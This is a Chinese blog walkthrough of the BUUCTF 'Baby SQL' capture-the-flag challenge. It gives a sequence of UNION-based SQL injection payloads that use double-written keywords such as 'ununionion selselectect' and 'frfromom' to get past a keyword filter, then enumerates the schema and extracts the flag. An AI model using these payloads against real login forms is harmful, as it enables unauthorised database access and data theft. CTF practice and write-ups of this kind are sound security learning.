【极客大挑战2019】Baby SQL解题

╰+哭是因爲堅強的太久メ 2023-10-06 19:54 42阅读 0赞

1、打开[BUUCTF在线评测][BUUCTF]，选择web--->【极客大挑战2019】Baby SQL。

2、首先采用万能密码试一下，出错了。

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16][]

3、那使用普通注入试一下，报错了，从这里可以看出过滤了 union select 。

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1][]

4、接着使用双写方式绕过过滤，试一下。

> username=admin&password=123456' ununionion selselectect 1 %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2][]

从结果上看，虽然也报错了，但提示不是sql语法错误，而且我们提供的查询字段数不对。

通过进一步尝试，获取注入点

> username=admin&password=123456' ununionion selselectect 1,2,3 %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3][]

5、爆库名

> username=admin&password=123456' ununionion selselectect 1,2,database() %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4][]

爆 所有库名

> username=admin&password=123456' ununionion selselectect 1,2,group\_concat(schema\_name) from information\_schema.schemata %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5][]

从报错信息看，过滤了from information\_schema，对其进行双写绕过

> admin&password=123456' ununionion selselectect 1,2,group\_concat(schema\_name) frfromom (infoorrmation\_schema.schemata) %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6][]

出现可疑库名ctf。

爆表名

> username=admin&password=123456' ununionion selselectect 1,2,group\_concat(table\_name) frfromom (infoorrmation\_schema.tables) where table\_schema='ctf' %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7][]

从报错信息，看出where又被过滤了，对where双写绕过

> username=admin&password=123456' ununionion selselectect 1,2,group\_concat(table\_name) frfromom (infoorrmation\_schema.tables) whwhereere table\_schema='ctf' %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8][]

报字段

> username=admin&password=123456' ununionion selselectect 1,2,group\_concat(column\_name) frfromom (infoorrmation\_schema.columns) whwhereere table\_schema='ctf' and table\_name='Flag' %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9][]

从报错可知，and又被过滤了，继续双写绕过

> username=admin&password=123456' ununionion selselectect 1,2,group\_concat(column\_name) frfromom (infoorrmation\_schema.columns) whwhereere table\_schema='ctf' aandnd table\_name='Flag' %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 10][]

爆数据：

> username=admin&password=123456' ununionion selselectect 1,2,flag frfromom ctf.Flag %23

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 11][]

flag出来了

[BUUCTF]: https://buuoj.cn/challenges
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/2f8be73b695a4d138b953e1d21beb603.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]: https://img-blog.csdnimg.cn/4c175d3d632a473082441b6dd1ad1f1d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]: https://img-blog.csdnimg.cn/4c5efc0e4c734c44a90e18fb4dbfe9d4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]: https://img-blog.csdnimg.cn/31644de399f14be4902b02b5137ccb88.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]: https://img-blog.csdnimg.cn/b86d27b6ed70426dade7d999d2951298.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]: https://img-blog.csdnimg.cn/135cf126c37841dbba71d492446a69e2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]: https://img-blog.csdnimg.cn/df565229bcfd45b48f0540c8bb891c13.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]: https://img-blog.csdnimg.cn/21e86b6cdd6446649dbc68e2d02f1d08.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]: https://img-blog.csdnimg.cn/b9e8d48c81ad4d328557238531614bf4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 9]: https://img-blog.csdnimg.cn/0a10128a58c34428895ba51e1dd5506f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 10]: https://img-blog.csdnimg.cn/73069d59b854437eb624ef5fd0fe2422.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAQmlnJkJpcmQ_size_20_color_FFFFFF_t_70_g_se_x_16 11]: https://img-blog.csdnimg.cn/d1b972ec86d94cd297fe13247a5ffc83.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAQmlnJkJpcmQ=,size_20,color_FFFFFF,t_70,g_se,x_16